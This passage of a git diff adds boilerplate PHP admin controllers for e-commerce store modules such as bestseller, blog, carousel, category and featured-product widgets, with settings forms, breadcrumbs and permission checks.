+ }
+
+ $this->cache->delete('product');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/bestseller', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/bestseller', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/bestseller', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/bestseller', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/bestseller', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/bestseller')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/module/blog_category.php b/public/admin/controller/extension/module/blog_category.php
new file mode 100644
index 0000000..123a4a2
--- /dev/null
+++ b/public/admin/controller/extension/module/blog_category.php
@@ -0,0 +1,70 @@
+load->language('extension/module/blog_category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_blog_category', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/blog_category', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/blog_category', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_blog_category_status'])) {
+ $data['module_blog_category_status'] = $this->request->post['module_blog_category_status'];
+ } else {
+ $data['module_blog_category_status'] = $this->config->get('module_blog_category_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/blog_category', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/blog_category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/blog_featured.php b/public/admin/controller/extension/module/blog_featured.php
new file mode 100644
index 0000000..a6c56f5
--- /dev/null
+++ b/public/admin/controller/extension/module/blog_featured.php
@@ -0,0 +1,181 @@
+load->language('extension/module/blog_featured');
+
+ $this->document->addScript('view/javascript/jquery/Sortable.js');
+ $this->document->addScript('view/javascript/jquery/jquery-sortable.js');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('blog_featured', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/blog_featured', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/blog_featured', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/blog_featured', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/blog_featured', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ $this->load->model('blog/article');
+
+ $data['articles'] = array();
+
+ if (!empty($this->request->post['article'])) {
+ $articles = $this->request->post['article'];
+ } elseif (!empty($module_info['article'])) {
+ $articles = $module_info['article'];
+ } else {
+ $articles = array();
+ }
+
+ foreach ($articles as $article_id) {
+ $article_info = $this->model_blog_article->getArticle($article_id);
+
+ if ($article_info) {
+ $data['articles'][] = array(
+ 'article_id' => $article_info['article_id'],
+ 'name' => $article_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/blog_featured', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/blog_featured')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/module/blog_latest.php b/public/admin/controller/extension/module/blog_latest.php
new file mode 100644
index 0000000..c3b4822
--- /dev/null
+++ b/public/admin/controller/extension/module/blog_latest.php
@@ -0,0 +1,155 @@
+load->language('extension/module/blog_latest');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('blog_latest', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('article');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/blog_latest', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/blog_latest', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/blog_latest', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/blog_latest', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/blog_latest', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/blog_latest')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/carousel.php b/public/admin/controller/extension/module/carousel.php
new file mode 100644
index 0000000..920f134
--- /dev/null
+++ b/public/admin/controller/extension/module/carousel.php
@@ -0,0 +1,154 @@
+load->language('extension/module/carousel');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('carousel', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/carousel', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/carousel', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/carousel', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/carousel', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['banner_id'])) {
+ $data['banner_id'] = $this->request->post['banner_id'];
+ } elseif (!empty($module_info)) {
+ $data['banner_id'] = $module_info['banner_id'];
+ } else {
+ $data['banner_id'] = '';
+ }
+
+ $this->load->model('design/banner');
+
+ $data['banners'] = $this->model_design_banner->getBanners();
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 130;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 100;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/carousel', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/carousel')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/category.php b/public/admin/controller/extension/module/category.php
new file mode 100644
index 0000000..1eb9fe0
--- /dev/null
+++ b/public/admin/controller/extension/module/category.php
@@ -0,0 +1,67 @@
+load->language('extension/module/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_category', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/category', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/category', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_category_status'])) {
+ $data['module_category_status'] = $this->request->post['module_category_status'];
+ } else {
+ $data['module_category_status'] = $this->config->get('module_category_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/category', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/featured.php b/public/admin/controller/extension/module/featured.php
new file mode 100644
index 0000000..21a0835
--- /dev/null
+++ b/public/admin/controller/extension/module/featured.php
@@ -0,0 +1,178 @@
+load->language('extension/module/featured');
+
+ $this->document->addScript('view/javascript/jquery/Sortable.js');
+ $this->document->addScript('view/javascript/jquery/jquery-sortable.js');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('featured', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/featured', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/featured', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ $this->load->model('catalog/product');
+
+ $data['products'] = array();
+
+ if (!empty($this->request->post['product'])) {
+ $products = $this->request->post['product'];
+ } elseif (!empty($module_info['product'])) {
+ $products = $module_info['product'];
+ } else {
+ $products = array();
+ }
+
+ foreach ($products as $product_id) {
+ $product_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($product_info) {
+ $data['products'][] = array(
+ 'product_id' => $product_info['product_id'],
+ 'name' => $product_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/featured', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/featured')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/module/featured_article.php b/public/admin/controller/extension/module/featured_article.php
new file mode 100644
index 0000000..931762e
--- /dev/null
+++ b/public/admin/controller/extension/module/featured_article.php
@@ -0,0 +1,155 @@
+load->language('extension/module/featured_article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('featured_article', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('product');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
